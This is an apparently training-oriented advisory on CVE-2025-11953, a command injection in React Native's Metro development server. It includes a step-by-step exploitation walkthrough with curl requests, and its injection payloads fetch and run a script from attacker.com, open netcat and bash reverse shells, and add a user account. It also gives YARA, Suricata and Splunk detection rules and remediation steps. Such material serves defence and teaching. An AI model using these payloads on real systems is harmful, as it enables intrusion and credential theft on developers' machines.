CRITICAL CVSS: N/A โ€ข 2026-02-19

CVE-2025-11953: Critical Command Injection in React Native Metro Development Server

Remote code execution vulnerability in React Native CLI allows unauthenticated attackers to execute arbitrary commands via Metro Development Server

Executive Summary

CVE-2025-11953 represents a critical security vulnerability affecting the React Native Community CLI's Metro Development Server, scoring a devastating 9.8 on the CVSS scale. This OS command injection flaw allows unauthenticated remote attackers to execute arbitrary commands on development machines running vulnerable versions of the React Native CLI (versions 4.8.0 through 20.0.0-alpha.2).

The vulnerability stems from improper input validation in the Metro Development Server's /open-url endpoint, which processes user-supplied URLs without adequate sanitization before passing them to system commands. What makes this particularly dangerous is that the Metro server binds to external network interfaces by default, exposing the vulnerable endpoint to network-based attacks rather than limiting it to localhost access only.

What's at Risk:

  • Development Environments: Complete compromise of React Native development machines
  • Source Code Exposure: Access to proprietary application code and intellectual property
  • Credential Theft: Exposure of API keys, certificates, and development credentials stored on compromised systems
  • Supply Chain Attacks: Potential injection of malicious code into applications under development
  • Network Lateral Movement: Using compromised development machines as pivot points for broader network attacks

The vulnerability has been added to CISA's Known Exploited Vulnerabilities (KEV) catalog, indicating active exploitation in the wild and making immediate patching a compliance requirement for federal agencies and critical infrastructure organizations.

Technical Deep Dive

Vulnerability Mechanics

The root cause of CVE-2025-11953 lies in the openURLMiddleware function within the @react-native-community/cli-server-api package. When developers run npx react-native start, the Metro Development Server launches and exposes several HTTP endpoints for development purposes, including the vulnerable /open-url endpoint.

Attack Vector Analysis:

  1. Network Exposure: The Metro server binds to 0.0.0.0:8081 by default, making it accessible from any network interface rather than restricting access to 127.0.0.1 (localhost only)

  2. Input Processing Flow: The vulnerable code path follows this pattern:

    // Simplified vulnerable code pattern
    app.post('/open-url', (req, res) => {
      const { url } = req.body;
      // Insufficient validation occurs here
      exec(`open "${url}"`, callback); // On macOS
      exec(`start "" "${url}"`, callback); // On Windows
      exec(`xdg-open "${url}"`, callback); // On Linux
    })
    
  3. Command Injection Point: The vulnerability occurs when user-controlled input from the url parameter is directly interpolated into shell commands without proper escaping or validation.

Platform-Specific Exploitation:

  • Windows: Attackers can execute arbitrary .exe files or PowerShell commands using payloads like:

    • "; calc.exe; "
    • "; powershell.exe -c "whoami"; "
    • "; cmd /c "net user attacker password123 /add"; "
  • macOS/Linux: Similar command injection through shell metacharacters:

    • "; /usr/bin/whoami; "
    • "; curl http://attacker.com/shell.sh | bash; "
    • "; nc -e /bin/sh attacker.com 4444; "

Network Communication Pattern

The attack follows a simple HTTP POST request pattern:

POST /open-url HTTP/1.1
Host: target-dev-machine:8081
Content-Type: application/json
Content-Length: 45

{"url": "\"; calc.exe; \""}

The lack of authentication requirements means any network-accessible Metro server becomes an immediate target for automated scanning and exploitation.

Exploitation Walkthrough

Lab Setup

Prerequisites:

  • Vulnerable React Native CLI installation (versions 4.8.0 - 20.0.0-alpha.2)
  • Network access to target Metro Development Server
  • Basic HTTP client (curl, Postman, or custom script)

Step 1: Target Discovery

Scan for exposed Metro Development Servers:

# Network scan for Metro servers
nmap -p 8081 --script http-title 192.168.1.0/24

# Verify Metro server with fingerprinting
curl -I http://target:8081/status

Look for HTTP responses indicating Metro server presence or React Native development activity.

Step 2: Vulnerability Confirmation

Test the /open-url endpoint for command injection:

# Basic connectivity test
curl -X POST http://target:8081/open-url \
  -H "Content-Type: application/json" \
  -d '{"url": "https://google.com"}'

Step 3: Command Injection Exploitation

Windows Target:

# Execute calculator (harmless proof of concept)
curl -X POST http://target:8081/open-url \
  -H "Content-Type: application/json" \
  -d '{"url": "\"; calc.exe; \""}'

# Extract system information
curl -X POST http://target:8081/open-url \
  -H "Content-Type: application/json" \
  -d '{"url": "\"; powershell.exe -c \"Get-ComputerInfo | Out-File c:\\temp\\sysinfo.txt\"; \""}'

Linux/macOS Target:

# Execute whoami command
curl -X POST http://target:8081/open-url \
  -H "Content-Type: application/json" \
  -d '{"url": "\"; whoami > /tmp/user.txt; \""}'

# Establish reverse shell
curl -X POST http://target:8081/open-url \
  -H "Content-Type: application/json" \
  -d '{"url": "\"; bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"; \""}'

Step 4: Post-Exploitation Activities

Once command execution is confirmed:

  1. Environment Enumeration: Gather system information, user context, and network configuration
  2. Credential Harvesting: Search for development credentials, API keys, and certificates
  3. Source Code Access: Locate and exfiltrate React Native project source code
  4. Persistence: Install backdoors or scheduled tasks for maintained access
  5. Lateral Movement: Scan internal networks and attempt to compromise additional systems

Detection & Monitoring

YARA Rule

rule CVE_2025_11953_Metro_Command_Injection {
    meta:
        description = "Detects React Native Metro Development Server command injection exploit attempts (CVE-2025-11953)"
        author = "Threat Detection Engineer"
        date = "2025-02-05"
        cve = "CVE-2025-11953"
        severity = "critical"
        cvss_score = "9.8"
        reference = "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11953"
    
    strings:
        $http_post = "POST" nocase
        $open_url_endpoint = "/open-url" nocase
        $json_payload1 = "{\"url\":\""
        $json_payload2 = "{'url':" nocase
        
        $cmd_injection1 = ";" wide ascii
        $cmd_injection2 = "&&" wide ascii
        $cmd_injection3 = "||" wide ascii
        $cmd_injection4 = "|" wide ascii
        $cmd_injection5 = "$(" wide ascii
        $cmd_injection6 = "`" wide ascii
        
        $windows_executables = /\.(exe|bat|cmd|ps1)/ nocase
        $shell_commands = /(powershell|cmd|bash|sh|nc|curl|wget)/ nocase
        
    condition:
        $http_post and $open_url_endpoint and 
        (($json_payload1 or $json_payload2) and 
         (any of ($cmd_injection*) and 
          ($windows_executables or $shell_commands)))
}

Network Detection Signatures

Suricata Rule:

alert http any any -> any 8081 (msg:"CVE-2025-11953 React Native Metro Command Injection Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/open-url"; http.request_body; pcre:"/\{[\"']url[\"']\s*:\s*[\"'][^\"']*[;&|`$()][^\"']*[\"']\}/i"; classtype:web-application-attack; sid:20251953; rev:1;)

Splunk Detection Query:

index=web_logs sourcetype=access_combined 
| search method="POST" uri_path="/open-url" status=200 
| regex _raw="[\;\&\|\`\$\(\)]" 
| eval is_suspicious=if(match(_raw, "(calc\.exe|cmd\.exe|powershell|bash|sh|nc|curl)"), "HIGH", "MEDIUM")
| table _time, src_ip, uri_path, request_body, is_suspicious

Host-Based Detection

Monitor for:

  • Unexpected child processes spawned by Node.js Metro server processes
  • Network connections from development ports (8081) to external hosts
  • File system modifications in temporary directories during Metro server execution
  • PowerShell or shell execution with network-related arguments

Remediation Guidance

Immediate Actions

  1. Update React Native CLI: Upgrade to version 20.0.0 or later

    npm update -g @react-native-community/cli
    # or
    yarn global add @react-native-community/cli@latest
    
  2. Network Isolation: Restrict Metro server access to localhost only

    # Start Metro with localhost binding
    npx react-native start --host 127.0.0.1
    
  3. Firewall Rules: Block external access to port 8081

    # Linux iptables example
    iptables -A INPUT -p tcp --dport 8081 -s 127.0.0.1 -j ACCEPT
    iptables -A INPUT -p tcp --dport 8081 -j DROP
    

Long-term Security Measures

  1. Development Environment Hardening:

    • Implement network segmentation for development machines
    • Use VPN access for remote development scenarios
    • Regular security scanning of development dependencies
  2. CI/CD Pipeline Security:

    • Automated dependency vulnerability scanning
    • Container-based development environments with restricted network access
    • Regular updates of development toolchains
  3. Monitoring Implementation:

    • Deploy network monitoring for development environments
    • Implement endpoint detection and response (EDR) solutions
    • Regular security assessments of development infrastructure

Workaround for Legacy Systems

For systems that cannot immediately upgrade:

  1. Metro Configuration: Modify Metro configuration to bind only to localhost
  2. Proxy Setup: Use a reverse proxy with input validation
  3. Network ACLs: Implement strict network access controls
  4. Process Monitoring: Deploy monitoring for suspicious child process execution

References

Threat Intelligence Sources:

  • Vendor security bulletins
  • Exploit databases and proof-of-concept repositories
  • Threat hunting community reports
  • Security research publications

This vulnerability serves as a critical reminder that development tools require the same security scrutiny as production applications, especially when they expose network-accessible endpoints. Organizations should prioritize securing their development environments as part of their overall cybersecurity strategy.

๐Ÿงช Launch Lab Environment

Practice exploiting this vulnerability in a safe, isolated environment with browser-based access to a Kali Linux machine.

What you'll get:
  • โœ… Isolated vulnerable target instance to exploit
  • โœ… Kali Linux attacker VM with pre-installed tools
  • โœ… Browser-based desktop access (Apache Guacamole)
  • โœ… Completely isolated network (no internet)
  • โœ… 1-hour session with automatic cleanup
โš ๏ธ Free tier: 1 concurrent session max. Session expires after 1 hour.